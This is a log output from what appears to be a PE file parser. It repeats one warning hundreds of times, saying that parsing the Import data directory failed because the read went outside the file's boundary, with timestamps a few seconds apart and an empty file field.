source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 